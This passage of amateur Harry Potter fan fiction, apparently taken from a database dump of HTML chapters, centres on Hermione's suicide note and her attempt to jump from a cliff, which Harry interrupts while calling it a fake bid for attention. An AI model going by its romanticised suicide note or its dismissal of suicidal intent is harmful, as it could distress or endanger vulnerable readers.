</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shrugged.&nbsp;\nSuddenly, he noticed the roll of parchment on the table next to\ntheirs.&nbsp; &quot;Hey, what\'s this?&quot;\nhe asked, picking it up and opening it.&nbsp;\nHe read it through, becoming paler and paler as he read on.&nbsp; Finally, he set it on the table and turned\nit towards Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You might want to read this, Harry.&quot;&nbsp; Harry picked it up and began to read:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">To Whom It May\nConcern:</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I guess you could call\nthis the story of my life so far.&nbsp; I\'m\nwriting this for no actual purpose, so to speak.&nbsp; Except for one small reason that shall be revealed at the end of\nthis letter.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I was born in York,\nEngland, on September 19, 1980.&nbsp; I had a\nhappy childhood.&nbsp; I was a very avid\nreader, and had read all the books my parents had bought me at least twice\nbefore the age of ten.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">At school, I was\npraised by my teachers and some of the older students as well.&nbsp; However, the students in my grade did not\nlike me much because I always got the best grades and had the answer to any\nquestion the teacher asked.&nbsp; They always\nteased me about my bushy hair, which has tamed quite a bit since then.&nbsp; But at least once a week, I would come home\ncrying because somebody had been teasing me.&nbsp;\nMy parents did the best they could, but even they could not put a stop\nto the teasing.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Then I got my letter\nfrom Hogwarts.&nbsp; When I first read it, I\ncould not believe my eyes.&nbsp; A\nwitch!&nbsp; Me!&nbsp; Someone like me, who has been teased all her life, could think of\nno better way to get revenge on the teasers.&nbsp;\nI could curse them all to tiny bits.&nbsp;\nThen I remembered that revenge was not the right thing.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I got all my books and\nsupplies within days of getting the letter.&nbsp;&nbsp;\nAs usual, I read all my books immediately.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">On the train, I met\ntwo boys, a dark haired one and a red haired one.&nbsp; I started babbling on about all the spells I had learned. Then I\nrealized they were looking rather uncomfortable, so I cut off and hastily\nintroduced myself. The dark haired boy introduced himself as Harry Potter.&nbsp; I immediately told him I had read all about\nhim.&nbsp; The red haired boy introduced\nhimself as Ron Weasley.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Little did I know that\nthey would become my friends later on.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">One night, I caught\nHarry and Ron sneaking out.&nbsp; I, of\ncourse, followed them to ensure they did not get into trouble.&nbsp; That ended up with me almost being eaten by\na three headed dog named Fluffy.&nbsp; I did\nnot speak to Ron or Harry from then on.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Then came\nHalloween.&nbsp; As we left Charms class that\nafternoon, I heard Ron call me a... something.&nbsp;\nI can\'t really remember, but I know it made me start crying.&nbsp; I rushed to the nearest bathroom.&nbsp; I was still in there when a gigantic\nmountain troll lumbered in and started thrashing about.&nbsp; I, of course, screamed.&nbsp; Then Harry and Ron came to my rescue.&nbsp; They battled the mountain troll\ncourageously, but would have lost House points had it not been for me. From\nthen on, we were friends.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I have always felt a\nlove for Harry and Ron.&nbsp; It was the love\nthat all best friends have for each other.&nbsp;\nBut over the years, I have begun to feel something more for Harry,\nsomething deeper than the love of friendship.&nbsp;\nI didn\'t know what it was.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">That is, until the\nbeginning of June, 1997.&nbsp; It was then\nthat I realized that the something more, something deeper was love.&nbsp; Real love.&nbsp;\nI realized what I loved him for, too.&nbsp;\nI loved him not for his scar and popularity, but for his caring,\ngenerosity, kindness, and that all too sweet look that he has when he\'s\nconfused or feeling lost, like a little boy.&nbsp;\nI even love him for that stupid, headstrong stubbornness of his.&nbsp; Though he does rush into things without\nthinking it through first, he always got through it.&nbsp; Of course, usually I was there to save his bum when he\ncouldn\'t.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I love him for his\ntender hugs, those soft kisses on the cheek and forehead when he thinks I\'m\nasleep.&nbsp; I love him for the way that\nwhenever I fall asleep in the Common Room reading a book, he\'ll always mark my\nplace, carry me over to a couch, lay me down, and conjure up a pillow and\nblanket for me.&nbsp; I love him for his\npresence beside me on the Gryffindor balcony when I can\'t sleep, those random\nchocolate frogs, and the way I know I can count on him to be there for me and\nsupport me.&nbsp; I love him for the way his\nface lights up when he\'s happy, the way his eyes twinkle when he\'s up to no\ngood, and the way he laughs, sweet yet rough, deep yet shallow.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I love him for his\nknowledge that he can count on me to be there for him, whenever, wherever.&nbsp; I love him for the way he has matured over\nthe&nbsp; past three years, ever since\nVoldemort came back, but is still as mischievious as ever.&nbsp; I love him for the way he protects me and\nstands up for me whenever Malfoy insults me.&nbsp;\nAnd last, I love him for his good looks, the rugged face, the muscular\ntorso... and the legs that could take him anywhere within twenty miles without\ngetting tired. I love those deep, emerald green eyes of his, and his ever so\nunruly hair that sticks up in the back and is in terrible need of a trim.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">But he doesn\'t love\nme.&nbsp; I have watched him closely to see\nif he feels the same way for me as I do for him.&nbsp; Sadly, all he feels is the love of friendship.&nbsp; I have tried to get something out of Ron,\nbut he refuses to speak except to tease me about loving Harry.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">I have suffered much\nangst and heartbreak because of this.&nbsp;\nBut I refuse to take it any longer.&nbsp;\nI have suffered enough.&nbsp; Enough\nto make my decision.&nbsp; I am leaving. And\nso, I say my farewells.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Harry.&nbsp; Remember, I always did and always will love\nyou with all my heart. You\'ll find the locket you gave me on my bedside table\nbeside my wand. </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Ron.&nbsp; You were a great friend, even if all we ever\ndid was argue.&nbsp; I knew I could trust\nyou.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Mum and\nDad.&nbsp; You were the best parents anyone\ncould ever have.&nbsp; I love you.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Mr. and Mrs.\nWeasley and family.&nbsp; I thank you for\nyour hospitality.&nbsp; I always had a good\ntime at the Burrow.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye,\nProfessors.&nbsp; You will find all of my\nhomework in my bag.&nbsp; I always loved\nHogwarts and always will.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Malfoy.&nbsp; Even though you insulted me the whole time I\nknew you, this filthy little Mudblood knows that deep down inside, you\'re\nreally a good guy.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Hogwarts\nstudents.&nbsp; I hope you enjoyed the\ncompany of your Head Girl while it lasted. </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Sirius.&nbsp; May you keep on being the best godfather you\ncan to Harry.&nbsp; I trust that you will\nkeep him safe now that I am no longer around.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Remus.&nbsp; You were one of the best DADA teachers I\nhave ever had.&nbsp; Keep Harry, Ron and\nSirius out of trouble for me, will you?</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, Hagrid.&nbsp; You always were a true friend.&nbsp; Remember not to breed any more Blast-Ended\nSkrewts.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Good-bye, cruel\nworld.&nbsp; I had some good times in my\nlife, but they have all disappeared now that I love but am not loved.&nbsp; I shall miss all of your inhabitants, even\nMalfoy, Crabbe and Goyle.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">You shall find my body\nlying at the bottom of the lake, with many a broken bone from my fall into the\nwater from the steep cliff on the side of the lake farthest from the\ncastle.&nbsp; I pray that you give me a proper\nfuneral and burial, with my wand and a copy of </i>Hogwarts: A History <i style="mso-bidi-font-style:normal">lying in my coffin alongside me.&nbsp; I wish thay you bury me in my best dress\nrobes, which are lying upon my bed.&nbsp; I\npray that my flowers be lilies and roses and that you do not cry for me.&nbsp; I am only a bushy-haired, goody-goody\nMudblood.&nbsp; And now, I close my letter\nwith a final farewell and my name, written in a purple ink that I made myelf\nand cannot be found anywhere else in the world.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Farewell cruel world,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i>Hermione&nbsp; Elizabeth&nbsp;\nGranger<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">P.S. I wish my headstone to read as follows:</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Here lies Hermione E. Granger, </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Who died of a broken heart.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">She loved but was not loved.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">September 19, 1980 to March 19, 1998</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Died at the age of\nseventeen and a half years old.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">May her spirit rest in\npeace.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i></p>\n\n<p class="MsoNormal">Harry set down the parchment, his head bowed.&nbsp; When he looked up, Ron saw his eyes shining\nwith tears.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;We have to find her,&quot; he croaked.&nbsp; Ron rodded, and they raced out of the common\nroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When they got to the Entance Hall, they found Malfoy\nstanding in front of the bulletin board, his face paler than usual.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Potter, you might want to read this,&quot; he told\nthem, gesturing to it.&nbsp; Harry went over\nand began to read, before turning to Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s the same thing she left in the common room,&quot;\nhe said.&nbsp; &quot;She must have made two\ncopies.&quot;&nbsp; He turned to Malfoy.&nbsp; &quot;Which way did she go?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy looked at them, an annoying smirk on his face.&nbsp; &quot;Why should I tell <i style="mso-bidi-font-style:\nnormal">you</i> where that filthy Mudblood went?&quot; he asked\nmavolently.&nbsp; &quot;It\'s none of <i style="mso-bidi-font-style:normal">my</i> business, <i style="mso-bidi-font-style:\nnormal">you\'re</i> the one she loves.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry drew his wand out and pointed it at him.&nbsp; &quot;Tell me where she went, or I\'ll hex\nyou to pieces.&quot;&nbsp; His voice was\ndripping with venom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;All right, all right.&nbsp;\nShe went out by the lake, <i style="mso-bidi-font-style:normal">after</i>\nshe cussed at me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked surprised.&nbsp;\n&quot;<i style="mso-bidi-font-style:normal">Hermione?</i>&nbsp; She cussed at you?&quot;&nbsp; Malfoy nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, she probably had a good reason, you <i style="mso-bidi-font-style:normal">know</i> he\'s a smarmy git,&quot; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;But Hermione hardly <i style="mso-bidi-font-style:\nnormal">ever</i> cusses.&nbsp; Unlike you,\nRon.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Still....&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, shut up!&nbsp;\nI\'m going after her.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m coming with you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No you aren\'t.&nbsp;\nI\'m going alone.&nbsp; She loves me,\nso I\'m the one who should go after her.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron sighed.&nbsp;\n&quot;All right.&nbsp; Good luck,\nmate.&nbsp; I\'ll go tell Dumbledore.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;There\'s no need, I\'m already here,&quot; said a voice\nbehind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Professor! &nbsp;Hermione\'s attempting suicide!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dumbledore sighed.&nbsp;\n&quot;I know.&nbsp; Harry, I want you\nto go after her and bring her to my office immediately.&nbsp; Do whatever you must to bring her back\nalive.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded.&nbsp;\n&quot;I\'ll do my best, Professor.&quot;&nbsp;\nHe started off around the lake.&nbsp;\nSuddenly, he came to the cliff.&nbsp;\nThere was Hermione, standing there.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~Hermione~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She closed her eyes and raised her arms, preparing to\ndive.&nbsp; And then....</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(149, 2, '\n\n\n\n<p class="MsoNormal">(A/n: &nbsp;Am sorry if it\noffends you, but there is a Bible verse in here.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Hold me now,</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">I\'m six feet </b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">From the edge </b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">And I\'m thinking</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Maybe six feet</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Ain\'t so far down</b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal">Creed, \'One Last Breath\'<b style="mso-bidi-font-weight:normal"></b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">``````````````````````````````````````````````````````````````````````````````````````````</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">She closed her eyes\nand raised her arms, preparing to jump. And then....</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">`````````````````````````````````````````````````````````````````````````````````````````````````````````</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">And then she was seized from behind and pulled away from the\ncliff\'s edge.&nbsp; Her captor held her by\nthe waist, and he had a hand clamped tightly over her mouth.&nbsp; She began to struggle.&nbsp; He chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I wouldn\'t do that if I were you.&nbsp; Bit stupid, really.&quot;&nbsp; Hermione recognized that voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot; she asked, though the question was\nmuffled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yep.&nbsp; How\'d you\nknow?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Pull your hand off my face and I\'ll tell you,&quot;\nshe replied.&nbsp; He did so, moving it to\npin her arms to her side.&nbsp; She smiled,\nthough he couldn\'t see her.&nbsp; &quot;I\nknow because I know your voice.&nbsp;\nHonestly, don\'t you notice?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Notice what?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How I\'ve listened to you so much.&nbsp; So much, that, after a while, I know your\nvoice from just one word.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Really?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah.&nbsp; Now, if\nyou\'d let me go, I\'d like to die now.&quot;&nbsp;\nShe began wiggling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted.&nbsp;\n&quot;As if.&nbsp; I know you like\nlife too much.&nbsp; Besides, you don\'t even\nlove me.&nbsp; That letter and this fake\nattempt at suicide were just a desperate attempt for attention.&quot;&nbsp; Hermione tried to stifle a small sob, but\ncouldn\'t.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned and looked up at him, tears flowing down her\ncheeks.&nbsp; &quot;Who says I don\'t love\nyou?&quot; she asked softly.&nbsp; She\nscowled up at him, saying, &quot;You don\'t know me, Harry Potter.&nbsp; You don\'t know me at all.&nbsp; I don\'t know what happened to you, but over\nthe past week, you\'ve been acting like an <i style="mso-bidi-font-style:normal">ass</i>!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He glared down at her, a frown on his face.&nbsp; &quot;You\'ve acted like an ass this week,\ntoo, Granger, if you don\'t remember.&nbsp;\nYou snapped at nearly all the students who talked to you, you\'ve talked\nback to the teachers, and you <i style="mso-bidi-font-style:normal">cussed</i>\nat Draco Malfoy.&nbsp; So don\'t go putting\nall the blame on me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was taken aback.&nbsp;\nHarry rarely <i style="mso-bidi-font-style:normal">ever</i> called her\nGranger.&nbsp; Oh, he was pissed off now....&nbsp; She sniffled.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And don\'t start crying on me, either.&nbsp; That little excuse won\'t work.&nbsp; Nor will \'it\'s that time of the month.\'&nbsp; You\'d better straighten up your act right\nnow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Just let me go, Harry.&nbsp; <i style="mso-bidi-font-style:normal">He</i> is calling me.&nbsp; He wants me to leave this flock and join\nhis.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry rolled his eyes.&nbsp;\n&quot;And just <i style="mso-bidi-font-style:normal">who</i> might this\n\'he\' be?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked up at the sky.&nbsp; &quot;Him.&quot;&nbsp; She\nbegan to recite from the Holy Book.</p>\n\n<p class="MsoNormal">&quot;Trust in the LORD with all your heart,</p>\n\n<p class="MsoNormal">And lean not on your own understanding;</p>\n\n<p class="MsoNormal">In all your ways acknowledge him,</p>\n\n<p class="MsoNormal">And He shall direct your paths.</p>\n\n<p class="MsoNormal">Proverbs 3:5,6.&nbsp; You\nsee, Harry, the Lord is directing my path.&nbsp;\nHe is directing it toward Heaven.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;God can shove that idea up his ass for all I\ncare,&quot; Harry said fiercely.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/n: Please note that I am a God-fearing person.&nbsp; Harry, however, is not religious.&nbsp; I only made him say that because it seemed\ntypical of him in this situation.&nbsp; So that\'s\nwhy I made him say it.&nbsp; I sincerely hope\ny\'all don\'t take this as an insult.&nbsp;\nThank you!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped.&nbsp;\n&quot;<i style="mso-bidi-font-style:normal">Harry</i>!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, he can.&nbsp;\nYou\'re coming back with me.&nbsp;\nWhether you like it or not.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, I don\'t, and I\'m not coming with you.&nbsp; I\'m telling you, he wants me.&nbsp; He is calling.&nbsp; I have to go.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well if that\'s the way you put it,&quot; Harry said,\nputting an arm around her waist. &quot;Then all I have to say is this:\nDesperate times call for desperate measures.&quot;&nbsp; He gestured to his shoulder.&nbsp;\n&quot;Up you go!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She glared.&nbsp;\n&quot;You wouldn\'t.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I would, and I am.&quot;&nbsp; And he picked her up and threw her over his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Put me down!&nbsp;\nThis is undignified!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well, jumping off a cliff isn\'t very dignified either,\nis it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed.&nbsp;\n&quot;No, it isn\'t.&nbsp; Now, put me\ndown before I hurt you.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He began to chortle.&nbsp;\n&quot;<i style="mso-bidi-font-style:normal">You?&nbsp; </i>Hurt <i style="mso-bidi-font-style:normal">me</i>?&nbsp; The mere idea is laughable.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She kicked him.&nbsp;\n&quot;Ow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I told you I could hurt you.&nbsp; Put me down.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nope.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She sighed.&nbsp;\n&quot;Fine, take me.&nbsp; But you\nmust take me as I am.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And so, he took her.&nbsp;\nThey walked for a while, Hermione thinking about what she\'d done, and\nwhy she\'d done it.&nbsp; Then all of the\nsudden, she spoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m sorry.&quot;</p>\n\n<p 